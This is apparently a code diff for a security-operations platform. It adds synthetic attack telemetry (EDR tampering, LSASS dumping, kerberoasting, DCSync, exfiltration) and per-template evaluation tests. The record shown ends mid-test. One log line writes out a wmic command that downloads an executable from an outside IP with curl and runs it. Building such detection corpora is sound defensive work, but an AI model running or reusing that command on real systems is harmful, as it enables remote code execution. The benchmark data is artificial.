+{"incident_id": "INC-EVAL-185", "template_id": "disable-edr-tooling", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "LIN-K8S-NODE01", "User": "[email protected]", "Image": "C:\\Windows\\System32\\sc.exe", "CommandLine": "sc.exe stop WinDefend"}
+{"incident_id": "INC-EVAL-185", "template_id": "disable-edr-tooling", "event_index": 2, "source": "edr", "rule": "EDR tampering attempt", "severity": "critical", "Computer": "LIN-K8S-NODE01", "User": "[email protected]"}
+{"incident_id": "INC-EVAL-186", "template_id": "lsass-memory-dump", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 10, "Computer": "K8S-PROD-CLUSTER", "SourceImage": "C:\\Windows\\System32\\rundll32.exe", "TargetImage": "C:\\Windows\\System32\\lsass.exe", "GrantedAccess": "0x1010", "CallTrace": "comsvcs.dll+5d24|MiniDumpWriteDump", "User": "[email protected]"}
+{"incident_id": "INC-EVAL-186", "template_id": "lsass-memory-dump", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 11, "Computer": "K8S-PROD-CLUSTER", "Image": "C:\\Windows\\System32\\rundll32.exe", "TargetFilename": "C:\\Windows\\Temp\\lsass.dmp", "User": "[email protected]"}
+{"incident_id": "INC-EVAL-187", "template_id": "credential-spray", "event_index": 0, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "198.51.100.23", "resultType": 50126, "resultDescription": "Invalid username or password", "appDisplayName": "Office 365 Exchange Online", "attempt_count": 1500}
+{"incident_id": "INC-EVAL-187", "template_id": "credential-spray", "event_index": 1, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "198.51.100.23", "resultType": 0, "resultDescription": "Success", "conditionalAccessStatus": "success", "riskLevelAggregated": "high"}
+{"incident_id": "INC-EVAL-188", "template_id": "kerberoasting", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4769, "Computer": "WIN-DC-PRIMARY", "TargetUserName": "[email protected]", "ServiceName": "MSSQLSvc/sql.aisoc.dev", "TicketEncryptionType": "0x17", "IpAddress": "WIN-FIN-DB01"}
+{"incident_id": "INC-EVAL-188", "template_id": "kerberoasting", "event_index": 1, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4769, "Computer": "WIN-DC-PRIMARY", "TargetUserName": "[email protected]", "ServiceName": "HTTP/web01.aisoc.dev", "TicketEncryptionType": "0x17", "IpAddress": "WIN-FIN-DB01"}
+{"incident_id": "INC-EVAL-189", "template_id": "ad-dcsync", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4662, "Computer": "WIN-DC-PRIMARY", "SubjectUserName": "[email protected]", "ObjectServer": "DS", "ObjectType": "domainDNS", "Properties": "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", "ClientIP": "LIN-OBS-LOGGER"}
+{"incident_id": "INC-EVAL-190", "template_id": "saml-golden-ticket", "event_index": 0, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "198.51.100.23", "resultType": 0, "authenticationDetails": [{"authenticationMethod": "Federated", "succeeded": true}], "tokenIssuerType": "ADFederationServices", "tokenIssuerName": "forged-adfs.aisoc.dev"}
+{"incident_id": "INC-EVAL-190", "template_id": "saml-golden-ticket", "event_index": 1, "source": "m365_audit", "Workload": "AzureActiveDirectory", "Operation": "Add member to role.", "UserId": "[email protected]", "ModifiedProperties": [{"Name": "Role.DisplayName", "NewValue": "Global Administrator"}]}
+{"incident_id": "INC-EVAL-191", "template_id": "ldap-bloodhound-discovery", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "AWS-EC2-PROD-API", "Image": "C:\\Tools\\SharpHound.exe", "DestinationIp": "WIN-DC-PRIMARY", "DestinationPort": 389, "User": "[email protected]"}
+{"incident_id": "INC-EVAL-191", "template_id": "ldap-bloodhound-discovery", "event_index": 1, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4662, "Computer": "WIN-DC-PRIMARY", "SubjectUserName": "[email protected]", "ObjectType": "user", "AccessMask": "0x100", "EventCount": 8400}
+{"incident_id": "INC-EVAL-192", "template_id": "smb-share-enumeration", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "LIN-DB-REPLICA", "User": "[email protected]", "Image": "C:\\Windows\\System32\\net.exe", "CommandLine": "net.exe view /domain"}
+{"incident_id": "INC-EVAL-192", "template_id": "smb-share-enumeration", "event_index": 1, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 5145, "Computer": "WIN-FILE-SHARE", "SubjectUserName": "[email protected]", "ShareName": "\\\\*\\*", "IpAddress": "LIN-DB-REPLICA", "EventCount": 256}
+{"incident_id": "INC-EVAL-193", "template_id": "pass-the-hash-lateral", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4624, "Computer": "AWS-EC2-PROD-API", "TargetUserName": "[email protected]", "LogonType": 3, "AuthenticationPackageName": "NTLM", "IpAddress": "WIN-EXCHANGE-01", "LogonProcessName": "NtLmSsp"}
+{"incident_id": "INC-EVAL-193", "template_id": "pass-the-hash-lateral", "event_index": 1, "source": "edr", "rule": "Pass-the-hash indicators (NTLM hash reuse)", "severity": "high", "Computer": "AWS-EC2-PROD-API", "Source": "WIN-EXCHANGE-01", "User": "[email protected]", "threat_actor": "Lazarus"}
+{"incident_id": "INC-EVAL-194", "template_id": "rdp-lateral-movement", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4624, "Computer": "MAC-CFO-LAPTOP", "TargetUserName": "[email protected]", "LogonType": 10, "IpAddress": "WIN-DEVOPS-LT", "LogonProcessName": "User32", "EventTimeUTC": "03:14:00Z"}
+{"incident_id": "INC-EVAL-195", "template_id": "wmi-lateral-execution", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "WIN-FILE-SHARE", "User": "[email protected]", "Image": "C:\\Windows\\System32\\wbem\\wmic.exe", "CommandLine": "wmic /node:LIN-DB-REPLICA process call create \"cmd /c curl http://91.134.231.15/p.exe -o C:\\Users\\Public\\p.exe && C:\\Users\\Public\\p.exe\""}
+{"incident_id": "INC-EVAL-196", "template_id": "bulk-pii-download", "event_index": 0, "source": "db_audit", "operation": "SELECT", "user": "[email protected]", "src_host": "LIN-K8S-NODE01", "database": "prod_customers", "table": "customer_records", "rows_returned": 4200000, "bytes": 10700000000}
+{"incident_id": "INC-EVAL-197", "template_id": "clipboard-keylogger", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 24, "Computer": "WIN-PROD-WEB02", "User": "[email protected]", "Image": "C:\\Users\\[email protected]\\AppData\\Local\\sched.exe", "Hashes": "SHA256=abc..."}
+{"incident_id": "INC-EVAL-197", "template_id": "clipboard-keylogger", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 11, "Computer": "WIN-PROD-WEB02", "Image": "C:\\Users\\[email protected]\\AppData\\Local\\sched.exe", "TargetFilename": "C:\\Users\\[email protected]\\AppData\\Local\\clip.log", "User": "[email protected]"}
+{"incident_id": "INC-EVAL-198", "template_id": "dns-tunnel-exfil", "event_index": 0, "source": "dns", "query_name": "aGVsbG8gd29ybGQK.exfil.203.0.113.45.in-addr.arpa", "query_type": "TXT", "src_host": "WIN-PROD-WEB02", "dst_ip": "203.0.113.45", "response_size": 512, "qps": 240}
+{"incident_id": "INC-EVAL-199", "template_id": "s3-exfil-cloud-storage", "event_index": 0, "source": "cloudtrail", "eventName": "PutObject", "eventSource": "s3.amazonaws.com", "awsRegion": "us-east-1", "userIdentity": {"type": "IAMUser", "userName": "[email protected]"}, "sourceIPAddress": "K8S-PROD-CLUSTER", "requestParameters": {"bucketName": "atk-stage-45.142.122.111", "key": "dump/customers.tar.gz"}, "resources": [{"ARN": "arn:aws:s3:::atk-stage-45.142.122.111/dump/customers.tar.gz"}]}
+{"incident_id": "INC-EVAL-200", "template_id": "personal-drive-exfil", "event_index": 0, "source": "web_access", "http_method": "POST", "url": "https://www.googleapis.com/upload/drive/v3/files", "status_code": 200, "src_host": "LIN-K8S-NODE01", "src_user": "[email protected]", "bytes_out": 4300000000, "file_count": 812}
diff --git a/services/agents/tests/test_investigation_completeness.py b/services/agents/tests/test_investigation_completeness.py
index dcc58280b..e6f11353e 100644
--- a/services/agents/tests/test_investigation_completeness.py
+++ b/services/agents/tests/test_investigation_completeness.py
@@ -19,13 +19,17 @@ SELF-CONSISTENCY GATE that detects regressions in the report-writer or the
dataset, NOT a measurement of whether a real LLM agent actually writes a
complete report on adversarial / blind data.
-The metric we publish is:
+The metrics we publish are:
- completeness = (mentioned evidence keywords) / (total evidence keywords)
+ completeness = (mentioned evidence keywords) / (total)
+ per_template_mean = unweighted mean of completeness across the
+ ~55 distinct incident templates
-We assert mean completeness ≥ 0.85 across 200 incidents (the simulator
-gives us a hard *lower bound* — if it falls below the floor the source
-data or the writer is broken).
+We assert mean completeness ≥ 0.85 across 200 cases AND
+per-template macro mean ≥ 0.80 across distinct templates. The
+per-template gate is the regression-signal-preserving metric: with
+~55 templates × ~3-4 duplicates, a single broken template moves
+per-case mean by ~0.5% but per-template mean by ~1.8%.
See `apps/docs/docs/benchmark.md` for what each suite actually measures.
@@ -139,6 +143,46 @@ class CompletenessResult:
def full_coverage_pct(self) -> float:
return self.full_coverage / self.incidents if self.incidents else 0.0
+ def per_template_summary(self) -> dict[str, Any]:
+ """Aggregate completeness by `template_id`.
+
+ With ~55 templates each cycled ~3-4×, per-case mean is dominated by
+ the multiplier; per-template mean treats each unique scenario equally
+ so a single broken template surfaces as a ~1.8% drop instead of ~0.5%.
+ """
+ if not self.per_incident:
+ return {
+ "templates": [],
+ "template_count": 0,
+ "template_macro_mean": 0.0,
+ "failing_templates": [],
+ }
+ buckets: dict[str, dict[str, Any]] = {}
+ for row in self.per_incident:
+ tpl = row.get("template_id") or "unknown"
+ b = buckets.setdefault(tpl, {"sum": 0.0, "count": 0})
+ b["sum"] += row.get("completeness", 0.0)
+ b["count"] += 1
+ templates: list[dict[str, Any]] = []
+ for tpl, b in buckets.items():
+ mean = b["sum"] / b["count"] if b["count"] else 0.0
+ templates.append(
+ {
+ "template_id": tpl,
+ "cases": b["count"],
+ "completeness": round(mean, 4),
+ }
+ )
+ templates.sort(key=lambda t: (t["completeness"], -t["cases"]))
+ macro = sum(t["completeness"] for t in templates) / len(templates) if templates else 0.0
+ failing = [t for t in templates if t["completeness"] < 0.80]
+ return {
+ "templates": templates,
+ "template_count": len(templates),
+ "template_macro_mean": round(macro, 4),
+ "failing_templates": failing,
+ }
+
def evaluate_completeness(
dataset: list[dict[str, Any]] | None = None,
@@ -156,7 +200,14 @@ def evaluate_completeness(
if scored["completeness"] >= 1.0:
result.full_coverage += 1
if keep_per_incident and result.per_incident is not None:
- result.per_incident.append({"id": inc.get("id"), **scored})
+ result.per_incident.append(
+ {
+ "id": inc.get("id"),
+ "template_id": inc.get("template_id"),
+ "template_index": inc.get("template_index"),
+ **scored,
+ }
+ )
return result
@@ -210,15 +261,47 @@ class TestInvestigationCompleteness(unittest.TestCase):
f"{len(zeroed)} incidents had zero evidence coverage (sample: {zeroed[:3]})",
)
+ def test_per_template_completeness(self) -> None:
+ """Per-template macro completeness must be ≥ 0.80.
+
+ Equal-weighting templates ensures one broken scenario can't be
+ averaged into oblivion by 3-4 duplicate cases. A 0.80 floor is
+ intentionally stricter than the per-case 0.85 because each template
+ contributes ~1/55 of the macro average.
+ """
+ result = evaluate_completeness(keep_per_incident=True)
+ summary = result.per_template_summary()
+ print(
+ f"\n[eval] per-template completeness: "
+ f"{summary['template_macro_mean']:.3f} "
+ f"({summary['template_count']} templates, "
+ f"{len(summary['failing_templates'])} below 0.80)"
+ )
+ self.assertGreaterEqual(
+ summary["template_count"],
+ 50,
+ f"Only {summary['template_count']} distinct templates in dataset; expected ≥50.",
+ )
+ self.assertGreaterEqual(
+ summary["template_macro_mean"],
+ 0.80,
+ "Per-template completeness below 0.80.\n"
+ f"Failing templates: {summary['failing_templates']}",
+ )
+
if __name__ == "__main__":
- result = evaluate_completeness()
+ result = evaluate_completeness(keep_per_incident=True)
+ summary = result.per_template_summary()
print(
json.dumps(
{
"incidents": result.incidents,
"mean_completeness": round(result.mean, 4),
"full_coverage_pct": round(result.full_coverage_pct, 4),
+ "template_count": summary["template_count"],
+ "template_macro_mean": summary["template_macro_mean"],
+ "failing_templates": [t["template_id"] for t in summary["failing_templates"]],
},
indent=2,
)
diff --git a/services/agents/tests/test_mitre_accuracy.py b/services/agents/tests/test_mitre_accuracy.py
index 76e237aaf..1e040ffad 100644
--- a/services/agents/tests/test_mitre_accuracy.py
+++ b/services/agents/tests/test_mitre_accuracy.py
@@ -2,8 +2,8 @@
Pillar-1 Evaluation: MITRE ATT&CK Tactic — Substrate Self-Consistency Gate
==========================================================================
This test gates the substrate's tactic extractor against the synthetic
-incident scenarios in `eval_data/synthetic_incidents.json` (200 cases as of
-v6.0).
+incident scenarios in `eval_data/synthetic_incidents.json` (200 cases
+spanning 55 distinct templates as of v6.1).
It runs OFFLINE (no LLM calls, no DB) using a keyword-based tactic
extractor over the same synthetic descriptions that were generated to
@@ -12,7 +12,15 @@ recall / F1 numbers are a SUBSTRATE SELF-CONSISTENCY GATE — they detect
regressions in the extractor or the dataset relative to each other, NOT a
real LLM-agent tactic-detection accuracy score on adversarial / blind data.
-The test asserts ≥80% accuracy as a regression floor.
+Two regression floors are enforced:
+
+* per-case accuracy ≥ 80% (200 cases — the headline figure)
+* per-template accuracy ≥ 80% (55 templates, equally weighted) — exists
+ because the substrate has no per-host code paths, so cycling templates
+ 3-4× would otherwise let a single broken template hide behind the
+ averages (≈ 0.5% per-case dilution vs ≈ 1.8% per-template signal). When a
+ template breaks, the per-template number drops sharply and the
+ `failing_templates` list in the report names it directly.
See `apps/docs/docs/benchmark.md` for what each suite actually measures
and how it differs from a third-party leaderboard score.
@@ -344,6 +352,48 @@ class MitreAccuracyResult:
p, r = self.precision, self.recall
return (2 * p * r / (p + r)) if (p + r) > 0 else 0.0
+ def per_template_summary(self) -> dict[str, Any]:
+ """Aggregate accuracy by `template_id` so duplicate scenarios cannot
+ average a broken template into oblivion.
+
+ Returns a dict with:
+ * `templates`: per-template accuracy (sorted, worst first)
+ * `template_count`: number of distinct templates
+ * `template_macro_accuracy`: equally weighted across templates
+ * `failing_templates`: templates with <80% accuracy
+ """
+ buckets: dict[str, dict[str, Any]] = {}
+ for row in self.details:
+ tpl = row.get("template_id") or "unknown"
+ bucket = buckets.setdefault(tpl, {"correct": 0, "total": 0})
+ bucket["total"] += 1
+ if row["correct"]:
+ bucket["correct"] += 1
+
+ templates: list[dict[str, Any]] = []
+ for tpl, b in buckets.items():
+ acc = b["correct"] / b["total"] if b["total"] else 0.0
+ templates.append(
+ {
+ "template_id": tpl,
+ "cases": b["total"],
+ "correct": b["correct"],
+ "accuracy": round(acc, 4),
+ }
+ )
+ templates.sort(key=lambda t: (t["accuracy"], -t["cases"]))
+
+ macro = (
+ sum(t["accuracy"] for t in templates) / len(templates) if templates else 0.0
+ )
+ failing = [t for t in templates if t["accuracy"] < 0.80]
+ return {
+ "templates": templates,
+ "template_count": len(templates),
+ "template_macro_accuracy": round(macro, 4),
+ "failing_templates": failing,
+ }
+
def to_json(self) -> str:
return json.dumps(
{
@@ -354,6 +404,7 @@ class MitreAccuracyResult:
"precision": round(self.precision, 4),
"recall": round(self.recall, 4),
"f1": round(self.f1, 4),
+ "per_template": self.per_template_summary(),
"details": self.details,
},
indent=2,
@@ -392,6 +443,9 @@ def evaluate_mitre_accuracy(threshold: float = 0.80) -> MitreAccuracyResult:
result.details.append(
{
+ "incident_id": inc.get("id"),
+ "template_id": inc.get("template_id"),
+ "template_index": inc.get("template_index"),
"incident": title[:80],
"expected": sorted(expected_set),
"predicted": sorted(predicted),
@@ -486,6 +540,67 @@ class TestMitreAccuracy(unittest.TestCase):
f"Only {len(all_tactics)} tactics covered: {sorted(all_tactics)}",
)
+ def test_per_template_accuracy(self) -> None:
+ """Macro-average accuracy across distinct `template_id`s must be ≥80%.
+
+ This is the regression-signal gate: with 200 cases drawn from 55
+ templates, a single broken template moves per-case accuracy by only
+ ~0.5% (3-4 / 200) but moves per-template accuracy by ~1.8% (1 / 55).
+ Equal-weighting templates ensures the substrate cannot regress on a
+ whole class of behavior and hide behind the duplicates.
+ """
+ result = evaluate_mitre_accuracy()
+ summary = result.per_template_summary()
+ print(
+ f"\n[eval] MITRE per-template macro accuracy: "
+ f"{summary['template_macro_accuracy'] * 100:.1f}% "
+ f"({summary['template_count']} distinct templates, "
+ f"{len(summary['failing_templates'])} below 80%)"
+ )
+ self.assertGreaterEqual(
+ summary["template_count"],
+ 50,
+ f"Only {summary['template_count']} distinct templates in dataset; expected ≥50.",
+ )
+ self.assertGreaterEqual(
+ summary["template_macro_accuracy"],
+ 0.80,
+ "Per-template MITRE accuracy below 80%.\n"
+ f"Failing templates: {summary['failing_templates']}",
+ )
+
+ def test_each_incident_has_template_id(self) -> None:
+ """Every incident must carry the `template_id` it was generated from."""
+ for inc in SYNTHETIC_INCIDENTS_DATA:
+ self.assertIn("template_id", inc, f"Missing template_id on {inc.get('id')}")
+ self.assertTrue(
+ isinstance(inc["template_id"], str) and inc["template_id"],
+ f"Empty template_id on {inc.get('id')}",
+ )
+ self.assertIn(
+ "template_index",
+ inc,
+ f"Missing template_index on {inc.get('id')}",
+ )
+
+ def test_template_distribution_balanced(self) -> None:
+ """No single template may account for >5% of the dataset.
+
+ Keeps the per-case headline number from being dominated by any one
+ template if the cycle changes.
+ """
+ counts: dict[str, int] = {}
+ for inc in SYNTHETIC_INCIDENTS_DATA:
+ tpl = inc["template_id"]
+ counts[tpl] = counts.get(tpl, 0) + 1
+ worst = max(counts.items(), key=lambda kv: kv[1])
+ self.assertLessEqual(
+ worst[1],
+ max(4, int(len(SYNTHETIC_INCIDENTS_DATA) * 0.05)),
+ f"Template '{worst[0]}' appears {worst[1]} times "
+ f"(>{int(len(SYNTHETIC_INCIDENTS_DATA) * 0.05)} = 5% of dataset).",
+ )
+
if __name__ == "__main__":
# Also allow running standalone to print a detailed report
diff --git a/services/agents/tests/test_response_quality.py b/services/agents/tests/test_response_quality.py
index e1a56882b..b0f5cc9d4 100644
--- a/services/agents/tests/test_response_quality.py
+++ b/services/agents/tests/test_response_quality.py
@@ -30,7 +30,12 @@ Rubric (each criterion is 0-1, total /5):
Quality score = mean rubric score across 200 incidents.
We assert mean ≥ 0.80 (4/5 rubric criteria on average) as a substrate
-regression floor.
+regression floor, AND per-template macro mean ≥ 0.75 across the ~55
+distinct templates. The per-template gate is the regression-signal-
+preserving metric: with ~3-4 duplicates per template, a single broken
+template moves per-case mean by ~0.5% but per-template mean by ~1.5%
+(addressing the dilution concern raised in
+`docs/research/dataset-design-notes.md`).
See `apps/docs/docs/benchmark.md` for what each suite actually measures.
@@ -338,6 +343,46 @@ class ResponseQualityResult:
def crit_mean(self, key: str) -> float:
return self.crit_sum[key] / self.incidents if self.incidents else 0.0
+ def per_template_summary(self) -> dict[str, Any]:
+ """Aggregate response-quality scores by `template_id`.
+
+ Equal-weights each unique scenario so a broken template can't be
+ averaged into oblivion by 3-4 duplicate cases — same multiplier
+ math as in `test_mitre_accuracy` / `test_investigation_completeness`.
+ """
+ if not self.per_incident:
+ return {
+ "templates": [],
+ "template_count": 0,
+ "template_macro_score": 0.0,
+ "failing_templates": [],
+ }
+ buckets: dict[str, dict[str, Any]] = {}
+ for row in self.per_incident:
+ tpl = row.get("template_id") or "unknown"
+ b = buckets.setdefault(tpl, {"sum": 0.0, "count": 0})
+ b["sum"] += row.get("score", 0.0)
+ b["count"] += 1
+ templates: list[dict[str, Any]] = []
+ for tpl, b in buckets.items():
+ mean = b["sum"] / b["count"] if b["count"] else 0.0
+ templates.append(
+ {
+ "template_id": tpl,
+ "cases": b["count"],
+ "score": round(mean, 4),
+ }
+ )
+ templates.sort(key=lambda t: (t["score"], -t["cases"]))
+ macro = sum(t["score"] for t in templates) / len(templates) if templates else 0.0
+ failing = [t for t in templates if t["score"] < 0.70]
+ return {
+ "templates": templates,
+ "template_count": len(templates),
+ "template_macro_score": round(macro, 4),
+ "failing_templates": failing,
+ }
+
def evaluate_response_quality(
dataset: list[dict[str, Any]] | None = None,
@@ -354,7 +399,14 @@ def evaluate_response_quality(
for k in result.crit_sum:
result.crit_sum[k] += rubric[k]
if keep_per_incident and result.per_incident is not None:
- result.per_incident.append({"id": inc.get("id"), **rubric})
+ result.per_incident.append(
+ {
+ "id": inc.get("id"),
+ "template_id": inc.get("template_id"),
+ "template_index": inc.get("template_index"),
+ **rubric,
+ }
+ )
return result
@@ -420,15 +472,48 @@ class TestResponseQuality(unittest.TestCase):
f"Only {result.crit_mean('action_aligned') * 100:.1f}% of plans aligned with response_class.",
)
+ def test_per_template_quality(self) -> None:
+ """Per-template macro response-quality must be ≥ 0.75.
+
+ Equal-weighting templates ensures a single broken scenario can't be
+ averaged into oblivion by 3-4 duplicate cases. The 0.75 floor is
+ intentionally below the per-case 0.80 because each template
+ contributes ~1/55 of the macro average — a single template at
+ 0 drags macro by ~1.5%, vs. ~0.5% per case.
+ """
+ result = evaluate_response_quality(keep_per_incident=True)
+ summary = result.per_template_summary()
+ print(
+ f"\n[eval] per-template response-quality: "
+ f"{summary['template_macro_score']:.3f} "
+ f"({summary['template_count']} templates, "
+ f"{len(summary['failing_templates'])} below 0.70)"
+ )
+ self.assertGreaterEqual(
+ summary["template_count"],
+ 50,
+ f"Only {summary['template_count']} distinct templates in dataset; expected ≥50.",
+ )
+ self.assertGreaterEqual(
+ summary["template_macro_score"],
+ 0.75,
+ "Per-template response-quality below 0.75.\n"
+ f"Failing templates: {summary['failing_templates']}",
+ )
+
if __name__ == "__main__":
- result = evaluate_response_quality()
+ result = evaluate_response_quality(keep_per_incident=True)
+ summary = result.per_template_summary()
print(
json.dumps(
{
"incidents": result.incidents,
"mean_score": round(result.mean_score, 4),
"criteria": {k: round(result.crit_mean(k), 4) for k in result.crit_sum},
+ "template_count": summary["template_count"],
+ "template_macro_score": summary["template_macro_score"],
+ "failing_templates": [t["template_id"] for t in summary["failing_templates"]],
},
indent=2,
)
diff --git a/services/agents/tests/test_synthetic_telemetry.py b/services/agents/tests/test_synthetic_telemetry.py
new file mode 100644
index 000000000..60b7e1640
--- /dev/null
+++ b/services/agents/tests/test_synthetic_telemetry.py
@@ -0,0 +1,308 @@
+"""
+Synthetic Telemetry Schema & Coverage Gate
+==========================================
+Schema and coverage gate for `eval_data/synthetic_telemetry.jsonl`.
+
+Each line is one event from a real-world log source (Sysmon, M365 audit,
+CloudTrail, Azure AD sign-in, EDR, auditd, journald, DNS, web access,
+Kubernetes, GitHub audit, VPN, DB audit) annotated with the
+`incident_id` and `template_id` of the synthetic incident it backs.
+
+This file is consumed by:
+
+ * Connector PRs — to validate field coverage end-to-end against a
+ realistic event payload without standing up a live tenant.
+ * Sigma / detection-rule PRs — so authors have a fixed corpus to
+ pattern-match against.
+ * The OCSF mapper — to spot field drift before it reaches a customer.
+
+What we gate here:
+
+ 1. Every event is well-formed JSON with at minimum an `incident_id`,
+ `template_id`, `event_index`, and `source`.
+ 2. Every incident in `synthetic_incidents.json` has at least one
+ backing telemetry event.
+ 3. The set of telemetry sources covers the connector matrix promised
+ by the README (M365, CloudTrail, Sysmon, Azure AD, EDR, auditd,
+ web/DNS, k8s, GitHub).
+ 4. Source-specific required fields are present (e.g. Sysmon must have
+ `EventID` and `Computer`; CloudTrail must have `eventName` and
+ `userIdentity`; M365 must have `Workload` and `Operation`; etc.).
+ 5. Placeholders have been resolved — no event still contains
+ unresolved `{user}` / `{host}` / `{ip}` / `{campaign}` strings.
+
+See `apps/docs/docs/benchmark.md` for what each suite measures.
+
+Run:
+ pytest services/agents/tests/test_synthetic_telemetry.py -v
+"""
+
+from __future__ import annotations
+
+import json
+import re
+import unittest
+from collections import Counter
+from pathlib import Path
+from typing import Any
+
+_TESTS_DIR = Path(__file__).parent
+_INCIDENTS_PATH = _TESTS_DIR / "eval_data" / "synthetic_incidents.json"
+_TELEMETRY_PATH = _TESTS_DIR / "eval_data" / "synthetic_telemetry.jsonl"
+
+
+def _load_incidents() -> list[dict[str, Any]]:
+ if not _INCIDENTS_PATH.exists():
+ raise FileNotFoundError(
+ f"Missing {_INCIDENTS_PATH}. Run `python3 scripts/generate_eval_incidents.py`."
+ )
+ with _INCIDENTS_PATH.open() as f:
+ return json.load(f)
+
+
+def _load_telemetry() -> list[dict[str, Any]]:
+ if not _TELEMETRY_PATH.exists():
+ raise FileNotFoundError(
+ f"Missing {_TELEMETRY_PATH}. Run `python3 scripts/generate_eval_incidents.py`."
+ )
+ events: list[dict[str, Any]] = []
+ with _TELEMETRY_PATH.open() as f:
+ for i, line in enumerate(f, start=1):
+ line = line.strip()
+ if not line:
+ continue
+ try:
+ events.append(json.loads(line))
+ except json.JSONDecodeError as exc: # pragma: no cover
+ raise AssertionError(
+ f"{_TELEMETRY_PATH.name}: line {i} is not valid JSON ({exc})"
+ ) from exc
+ return events
+
+
+INCIDENTS: list[dict[str, Any]] = _load_incidents()
+TELEMETRY: list[dict[str, Any]] = _load_telemetry()
+
+
+# ---------------------------------------------------------------------------
+# Source matrix the README / docs promise.
+# ---------------------------------------------------------------------------
+
+# Sources we expect to see at least once across the corpus.
+EXPECTED_SOURCES: set[str] = {
+ "sysmon",
+ "windows_security",
+ "m365_audit",
+ "azure_signin",
+ "cloudtrail",
+ "linux_auditd",
+ "linux_journald",
+ "edr",
+ "dns",
+ "web_access",
+ "k8s_audit",
+ "github_audit",
+ "vpn",
+ "db_audit",
+}
+
+# Per-source required fields. These are the fields a connector PR or a
+# Sigma-style detection would actually pivot on, so we keep the bar
+# tight enough that field drift breaks the build.
+REQUIRED_FIELDS_BY_SOURCE: dict[str, set[str]] = {
+ "sysmon": {"channel", "Provider", "EventID", "Computer"},
+ "windows_security": {"channel", "Provider", "EventID"},
+ "m365_audit": {"Workload", "Operation"},
+ "azure_signin": {"category", "userPrincipalName", "resultType"},
+ "cloudtrail": {"eventName", "userIdentity", "awsRegion"},
+ "linux_auditd": {"type", "syscall"},
+ "linux_journald": {"_SYSTEMD_UNIT", "MESSAGE"},
+ "edr": {"rule", "severity"},
+ "dns": {"query_name", "query_type"},
+ "web_access": {"http_method", "url", "status_code"},
+ "k8s_audit": {"verb", "objectRef"},
+ "github_audit": {"action", "actor"},
+ "vpn": {"action", "user"},
+ "db_audit": {"user", "operation"},
+}
+
+# Anything that looks like an unresolved Python-style placeholder.
+_PLACEHOLDER_RE = re.compile(r"\{(user|host|ip|campaign)\b[^}]*\}")
+
+
+def _walk_strings(obj: Any) -> list[str]:
+ """Yield every string value in a nested dict/list (used for placeholder scan)."""
+ out: list[str] = []
+ if isinstance(obj, str):
+ out.append(obj)
+ elif isinstance(obj, dict):
+ for v in obj.values():
+ out.extend(_walk_strings(v))
+ elif isinstance(obj, list):
+ for v in obj:
+ out.extend(_walk_strings(v))
+ return out
+
+
+# ---------------------------------------------------------------------------
+# Tests
+# ---------------------------------------------------------------------------
+
+
+class TestSyntheticTelemetrySchema(unittest.TestCase):
+ """Schema, coverage, and field-level invariants for synthetic_telemetry.jsonl."""
+
+ def test_jsonl_is_non_empty(self) -> None:
+ self.assertGreater(
+ len(TELEMETRY),
+ 0,
+ f"{_TELEMETRY_PATH.name} is empty — generator did not emit telemetry.",
+ )
+
+ def test_every_event_has_required_envelope(self) -> None:
+ """Every line must carry incident_id, template_id, event_index, and source."""
+ required = {"incident_id", "template_id", "event_index", "source"}
+ bad: list[tuple[int, set[str]]] = []
+ for i, event in enumerate(TELEMETRY):
+ missing = required - event.keys()
+ if missing:
+ bad.append((i, missing))
+ self.assertEqual(
+ bad,
+ [],
+ f"{len(bad)} events missing envelope fields (sample: {bad[:3]}).",
+ )
+
+ def test_event_index_is_zero_based_per_incident(self) -> None:
+ """event_index restarts at 0 per incident and is contiguous."""
+ by_incident: dict[str, list[int]] = {}
+ for event in TELEMETRY:
+ by_incident.setdefault(event["incident_id"], []).append(event["event_index"])
+ bad: list[tuple[str, list[int]]] = []
+ for incident_id, indexes in by_incident.items():
+ indexes_sorted = sorted(indexes)
+ expected = list(range(len(indexes_sorted)))
+ if indexes_sorted != expected:
+ bad.append((incident_id, indexes_sorted))
+ self.assertEqual(
+ bad,
+ [],
+ f"Non-contiguous event_index for {len(bad)} incidents (sample: {bad[:3]}).",
+ )
+
+ def test_every_incident_has_telemetry(self) -> None:
+ """Every synthetic incident must have at least one backing event.
+
+ This is what makes the dataset valuable to connector / Sigma
+ PRs — if an incident has no telemetry, there is nothing for a
+ detection rule to fire on.
+ """
+ with_telemetry = {event["incident_id"] for event in TELEMETRY}
+ all_ids = {inc["id"] for inc in INCIDENTS}
